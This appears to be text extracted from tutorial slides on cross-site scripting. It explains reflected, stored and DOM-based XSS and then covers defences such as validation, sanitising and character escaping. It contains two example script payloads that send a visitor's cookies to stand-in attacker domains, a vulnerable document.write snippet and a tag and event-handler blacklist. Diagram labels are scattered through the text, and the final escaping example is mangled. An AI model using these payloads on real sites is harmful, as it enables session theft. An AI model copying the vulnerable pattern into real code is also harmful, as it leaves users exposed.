Cross Site Scripting XSS
Cross Site Scripting XSS
for example :
<img
src="http://bank.example/withdraw?account=bob<script>document.loca
tion=‘http://bad-domain.com/store_data?cookie=‘ +
document.cookie;</script>
Bad Server 1 Bank Server
Normal User’s
Browser
Normal User’s http request with
Browser cookies
In persistent type of XSS attack, XSS code gets saved into
persistent storage like database with other data and then it is visible
to other users also. One example of this kind of attacks is possible
blog websites, where hacker can add their XSS code along with the
comment text and if no validation or filtering is present on the
server, XSS code can successfully saved into the database. After this if
anyone (other users) open the page into their browsers, XSS code can
execute and can perform a variety of harmful actions. This type of
attack is more vulnerable, because Hacker can steal cookies and can
make modifications in the page. The risk with these kinds of attacks is
any third party hacker can use this vulnerability to perform some
actions on behalf of other users.
abc<script>window.location =
"http://www.hackers.com?yid=" +
document.cookie;</script>
Step 1 DB
Server
http request with
XSS JavaScript
Hacker’s
Browser
Step 2 DB
Server
http request with
XSS JavaScript
http response with
XSS JavaScript
Hacker Browser
Normal User
Browser
Note: This image has been created using Firebug and this XSS hole is not present in
blogger.com
DOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack payload is
executed as a result of modifying the DOM “environment” in the victim’s browser
used by the original client side script, so that the client side code runs in an
“unexpected” manner. That is, the page itself (the HTTP response that is) does
not change, but the client side code contained in the page executes differently
due to the malicious modifications that have occurred in the DOM environment.
This is in contrast to other XSS attacks (stored or reflected), wherein the attack
payload is placed in the response page (due to a server side flaw).
Example
…
var pos = document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
…
http://www.vulnerable.site/welcome.html?name=Joe
Never trust the
user input data
No matter where it’s coming from (
GET, POST, COOKIE etc.
By performing client side (JavaScript) validation, before submitting the
data to server, helps only in usability aspect of the website. It can’t
provide any actual security, because user can disable the JavaScript.
Many JavaScript libraries and frameworks are available for this.
For example in DOJO framework
<label for="firstName">First Name: </label>
<input type="text" id="firstName" name="firstName"
dojoType="dijit.form.ValidationTextBox"
required="true"
propercase="true"
promptMessage="Enter first name."
invalidMessage="First name is required."
trim="true”/><br>
By sanitizing the input data, we can prevent
the malicious code to enter in the system.
Checking the proper data types helps in
cleaning the data. First of all we should restrict
numeric data for numeric fields and only
alphanumeric characters for text fields
White lists – Allow <strong>, <em> and <br>
only – Does help, but not 100%
Blacklists – Block <script> and other attributes
such as onload, onclick, onmouseover etc.
Problem characters can include < > " ‘ \ &.These
characters can be replaced with HTML character
entities.
For example, < can be replaced with <.